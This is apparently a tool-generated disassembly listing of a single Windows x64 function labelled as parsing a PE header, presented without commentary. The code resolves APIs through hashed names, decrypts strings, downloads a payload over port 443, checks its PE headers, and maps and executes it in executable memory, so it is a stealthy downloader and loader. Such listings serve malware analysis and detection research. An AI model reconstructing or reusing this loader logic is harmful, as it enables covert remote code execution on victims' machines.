Function at 0x140001700
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x500]
sub rsp, 0x600
xor ebx, ebx
mov dword [rbp + 0x20], 4
mov dword [rbp + 8], ebx
mov rax, qword gs:[0x30]
mov qword [rbp + 0xd0], rax
test rax, rax
je 0x14000202f
mov rcx, qword [rax + 0x60]
mov qword [rsp + 0x68], rcx
test rcx, rcx
je 0x14000202f
mov rax, qword [rcx + 0x18]
mov qword [rbp - 8], rax
test rax, rax
je 0x14000202f
lea rdx, [rax + 0x20]
mov qword [rbp + 0xc0], rdx
test rdx, rdx
je 0x14000202f
mov rdx, qword [rdx]
lea r8d, [rbx + 0x12]
mov ecx, 0x99cf309d
mov rdx, qword [rdx + 0x50]
call section..text
or eax, 1
lea r8d, [rbx + 0x12]
mov dword [rbp + 0xa8], eax
mov ecx, 0xe74c5dca
mov rax, qword [rbp + 0xc0]
mov rdx, qword [rax]
mov rdx, qword [rdx + 0x50]
call section..text
mov edx, 0x36ab18e9
mov dword [rbp - 0x48], eax
mov r8d, 0x6dfe1238
lea rcx, [rsp + 0x40]
call fcn.140001040
mov qword [rbp + 0x60], rax
test rax, rax
je 0x14000202f
mov edx, 0x3c9e481d
mov r8d, 0x53f6aeca
mov rcx, rax
call fcn.1400010d0
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14000202f
mov rcx, qword [rbp + 0x60]
mov edx, 0x10e54c9a
mov r8d, 0x71e73e5d
call fcn.1400010d0
mov qword [rbp + 0x38], rax
test rax, rax
je 0x14000202f
mov rcx, qword [rbp + 0x60]
mov edx, 0xaf1f80cb
mov r8d, 0xa16202b0
call fcn.1400010d0
mov qword [rbp + 0x68], rax
test rax, rax
je 0x14000203c
mov rcx, qword [rbp + 0x60]
mov edx, 0x493d4cbc
mov r8d, 0x7d948b5c
call fcn.1400010d0
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14000202f
mov rcx, qword [rbp + 0x60]
mov edx, 0x65574d0
mov r8d, 0xd8541616
call fcn.1400010d0
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14000202f
mov rcx, qword [rbp + 0x60]
mov edx, 0x561a4f81
mov r8d, 0xe339aced
call fcn.1400010d0
mov qword [rbp + 0x10], rax
test rax, rax
je 0x14000202f
mov rcx, qword [rbp + 0x60]
mov edx, 0xd349751
mov r8d, 0x5e77a889
call fcn.1400010d0
mov qword [rbp + 0xb0], rax
test rax, rax
je 0x14000202f
mov rcx, qword [rbp + 0x60]
mov edx, 0xc7619a9d
mov r8d, 0xd89daef7
call fcn.1400010d0
mov qword [rbp], rax
test rax, rax
je 0x14000202f
mov rcx, qword [rbp + 0x60]
mov edx, 0x45b9928f
mov r8d, 0x7966dc06
call fcn.1400010d0
mov qword [rbp + 0x98], rax
test rax, rax
je 0x14000202f
mov rcx, qword [rbp + 0x60]
mov edx, 0x4bf4bd5d
mov r8d, 0xc165d477
call fcn.1400010d0
mov qword [rbp + 0x58], rax
test rax, rax
je 0x14000202f
mov rcx, qword [rbp + 0x60]
mov edx, 0xbace611
mov r8d, 0x244d869
call fcn.1400010d0
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14000202f
mov rcx, qword [rbp + 0x60]
mov edx, 0x363fec03
mov r8d, 0xdaf34820
call fcn.1400010d0
mov qword [rbp + 0x80], rax
test rax, rax
je 0x14000202f
mov rcx, qword [rbp + 0x60]
mov edx, 0x92cd1659
mov r8d, 0x986e7e32
call fcn.1400010d0
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14000202f
mov rax, qword [rbp + 0xc0]
lea r8d, [rbx + 0x12]
mov ecx, 0xabab6bda
mov rdx, qword [rax]
mov rdx, qword [rdx + 0x50]
call section..text
mov edx, 0x8b22bc77
mov dword [rsp + 0x48], eax
mov r9d, 0x71d7d38e
mov dword [rsp + 0x20], 0x1393892b
mov r8d, 0x3039918d
lea rcx, [rsp + 0x40]
call fcn.140001490
lea rcx, [rsp + 0x40]
call fcn.1400016c0
test eax, eax
je 0x14000202f
lea rcx, [rbp - 0x20]
call qword [rbp - 0x28]
mov qword [rbp + 0x50], rax
test rax, rax
je 0x14000202f
mov edx, 0x122c6dba
mov dword [rsp + 0x20], 0x6d974ad1
mov r9d, 0x8192ef4e
lea rcx, [rsp + 0x40]
mov r8d, 0xa9109bac
call fcn.140001490
lea rcx, [rbp - 0x20]
call qword [rbp - 0x28]
mov qword [rsp + 0x58], rax
test rax, rax
je 0x14000202f
lea edx, [rbx + 0x71]
xor ecx, ecx
lea r9d, [rbx + 4]
mov r8d, 0x3000
call qword [rbp + 0x38]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x14000202f
mov rcx, qword [rbp + 0x50]
mov edx, 0x5c4dc524
mov r8d, 0x39da619f
call fcn.1400010d0
mov qword [rbp + 0x28], rax
test rax, rax
je 0x14000202f
mov qword [rsp + 0x610], rsi
lea rcx, [rsp + 0x40]
mov edx, 0xc195b1d2
mov qword [rsp + 0x618], rdi
mov r9d, 0x15eb7a18
mov dword [rsp + 0x20], 0xc06f0f54
mov r8d, 0x3ccfc521
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp - 0x20]
add rdi, 0x60
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rbp + 0x50]
mov edx, 0xbf43a3a0
mov r8d, 0xbfacb7e3
call fcn.1400010d0
mov qword [rbp + 0xc8], rax
test rax, rax
je 0x14000201f
mov edx, 0xaa56e056
mov dword [rsp + 0x20], 0x3b580738
mov r9d, 0x236161de
lea rcx, [rsp + 0x40]
mov r8d, 0x43a55ac
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp - 0x20]
add rdi, 0x20
mov dword [rsp + 0x20], 0xb5df8bdd
mov ecx, 0x10
mov edx, 0x351c5abf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
mov r9d, 0x95620ff0
mov r8d, 0x5b21580e
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp - 0x20]
add rdi, 0x70
mov dword [rsp + 0x20], ebx
mov ecx, 0x10
lea edx, [rbx + 1]
rep movsb byte [rdi], byte [rsi]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
call qword [rbp + 0xc8]
mov qword [rbp + 0xd8], rax
test rax, rax
je 0x14000201f
mov edx, 0x78c117ce
mov dword [rsp + 0x20], 0xd95273a1
mov r9d, 0x4a5ad94c
lea rcx, [rsp + 0x40]
mov r8d, 0xb21f745b
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp - 0x20]
add rdi, 0x10
mov dword [rsp + 0x20], 0xcf7f8264
mov ecx, 0x10
mov edx, 0xa192894
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
mov r9d, 0xa182b839
mov r8d, 0x97e83631
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp - 0x20]
mov ecx, 0x10
mov dword [rsp + 0x20], 0x7044a68f
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
mov edx, 0xe891232a
mov r9d, 0x36c480e9
mov r8d, 0xc4cd9adf
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp - 0x20]
add rdi, 0x30
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rbp + 0x50]
mov edx, 0x29e62178
mov r8d, 0x8fc0c2c1
call fcn.1400010d0
mov qword [rsp + 0x78], rax
test rax, rax
je 0x14000201f
mov rcx, qword [rbp + 0x50]
mov edx, 0xd52d6092
mov r8d, 0x5e12d7e7
call fcn.1400010d0
mov qword [rbp + 0xb8], rax
test rax, rax
je 0x14000201f
mov rcx, qword [rbp + 0x50]
mov edx, 0x439a529
mov r8d, 0x1911be28
call fcn.1400010d0
mov qword [rbp + 0xa0], rax
test rax, rax
je 0x14000201f
lea rdx, [rbp + 0xe0]
mov ecx, 0x104
call qword [rbp - 0x40]
test eax, eax
je 0x14000201f
lea rcx, [rbp + 0xe0]
call qword [rbp + 0x98]
test eax, eax
je 0x14000201f
mov edx, 0x64a258fe
mov dword [rsp + 0x20], 0x5e70cca0
mov r9d, 0x7ea98250
lea rcx, [rsp + 0x40]
mov r8d, 0x85185f8c
call fcn.140001490
mov rcx, qword [rbp + 0xd8]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x38], rbx
mov r8d, 0x1bb
mov dword [rsp + 0x30], ebx
xor r9d, r9d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rbx
call qword [rbp + 0xb8]
mov qword [rbp - 0x80], rax
test rax, rax
je 0x14000201f
mov rcx, qword [rsp + 0x58]
mov edx, 0xc60bc9ab
mov r8d, 0x7704a50e
call fcn.1400010d0
mov qword [rbp - 0x30], rax
test rax, rax
je 0x14000201f
mov rcx, qword [rbp + 0x50]
mov edx, 0xa5875a54
mov r8d, 0x976ba2d8
call fcn.1400010d0
mov qword [rbp - 0x38], rax
test rax, rax
je 0x14000201f
lea rdx, [rbp + 0x2f0]
lea rcx, [rsp + 0x40]
call fcn.140001520
mov rax, qword [rbp - 0x60]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14000201f
mov rcx, qword [rbp + 0x60]
mov edx, 0xd53c1bd7
mov r8d, 0x3599cb44
call fcn.1400010d0
mov qword [rbp - 0x10], rax
test rax, rax
je 0x14000201f
mov edx, 0x1be5158a
mov dword [rsp + 0x20], 0x7679d401
mov r9d, 0xc4bc61de
lea rcx, [rsp + 0x40]
mov r8d, 0x177649c6
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp - 0x20]
add rdi, 0x50
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rbp + 0x50]
mov edx, 0x2595c8fd
mov r8d, 0x43fb9cce
call fcn.1400010d0
mov qword [rbp - 0x58], rax
test rax, rax
je 0x14000201f
mov edx, 0x3757d017
mov dword [rsp + 0x20], 0x457b4e4
mov r9d, 0xcb82a856
lea rcx, [rsp + 0x40]
mov r8d, 0x35c1ef84
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp - 0x20]
add rdi, 0x40
mov qword [rsp + 0x20], rbx
mov ecx, 0x10
lea r9, [rbp + 0x70]
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rbp - 0x60]
lea r8d, [rbx + 0x71]
mov rdx, qword [rsp + 0x70]
call qword [rbp - 0x10]
test eax, eax
je 0x14000201f
mov rcx, qword [rbp - 0x60]
call qword [rsp + 0x50]
mov edx, 0x43489c43
mov dword [rsp + 0x20], 0xf47200e6
mov r9d, 0x2d681c39
lea rcx, [rsp + 0x40]
mov r8d, 0x53bd867b
call fcn.140001490
mov rcx, qword [rbp - 0x80]
lea r8, [rbp - 0x1c]
mov qword [rsp + 0x38], rbx
lea rdx, [rbp - 0x20]
mov dword [rsp + 0x30], 0x80800000
xor r9d, r9d
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [rbp + 0x28]
mov qword [rbp - 0x68], rax
test rax, rax
je 0x14000201f
mov dword [rsp + 0x28], 1
lea r8, [rbp + 0x2f0]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor edx, edx
xor ecx, ecx
call qword [rbp - 0x30]
cmp rax, 0x20
jb 0x14000201f
mov rcx, qword [rbp - 0x68]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], ebx
xor edx, edx
call qword [rbp - 0x58]
test eax, eax
je 0x14000201f
mov rcx, qword [rbp - 0x68]
lea rax, [rbp + 8]
lea r9, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x88]
mov edx, 0x20000005
call qword [rsp + 0x78]
test eax, eax
je 0x14000201f
mov edx, dword [rbp + 0x88]
lea r9d, [rbx + 4]
xor ecx, ecx
mov r8d, 0x3000
call qword [rbp + 0x38]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14000201f
mov r8d, dword [rbp + 0x88]
lea r9, [rbp + 0x40]
mov rcx, qword [rbp - 0x68]
mov rdx, rax
call qword [rbp - 0x38]
test eax, eax
je 0x14000201f
mov eax, dword [rbp + 0x88]
cmp dword [rbp + 0x40], eax
jne 0x14000201f
mov rcx, qword [rbp + 0xd8]
call qword [rbp + 0xa0]
mov rax, qword [rsp + 0x60]
mov ecx, 0x5a4d
mov qword [rbp + 0x30], rax
cmp word [rax], cx
jne 0x14000201f
mov rcx, qword [rbp - 0x68]
call qword [rbp + 0xa0]
mov rcx, qword [rbp - 0x80]
call qword [rbp + 0xa0]
mov rax, qword [rbp + 0x30]
movsxd rdx, dword [rax + 0x3c]
add rdx, qword [rsp + 0x60]
mov qword [rbp + 0x18], rdx
cmp dword [rdx], 0x4550
jne 0x14000201f
mov eax, 0x8664
cmp word [rdx + 4], ax
jne 0x14000201f
mov eax, 0x20b
cmp word [rdx + 0x18], ax
jne 0x14000201f
mov edx, dword [rdx + 0x50]
lea r9d, [rbx + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [rbp + 0x38]
mov qword [rbp + 0x48], rax
test rax, rax
je 0x14000201f
mov rcx, qword [rbp + 0x18]
movzx eax, word [rcx + 0x14]
add rcx, 0x18
add rcx, rax
mov qword [rbp + 0x78], rcx
lea rcx, [rsp + 0x40]
call fcn.140001200
lea rcx, [rsp + 0x40]
call fcn.140001280
lea rcx, [rsp + 0x40]
call fcn.140001370
mov rax, qword [rbp + 0x18]
mov rdi, qword [rbp + 0x48]
mov rsi, qword [rsp + 0x60]
mov ecx, dword [rax + 0x54]
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
call fcn.140001420
mov rsi, qword [rsp + 0x610]
mov rdi, qword [rsp + 0x618]
mov rax, qword [rbp + 0x68]
test rax, rax
je 0x14000203c
xor ecx, ecx
call rax
mov rbx, qword [rsp + 0x620]
xor eax, eax
add rsp, 0x600
pop rbp
ret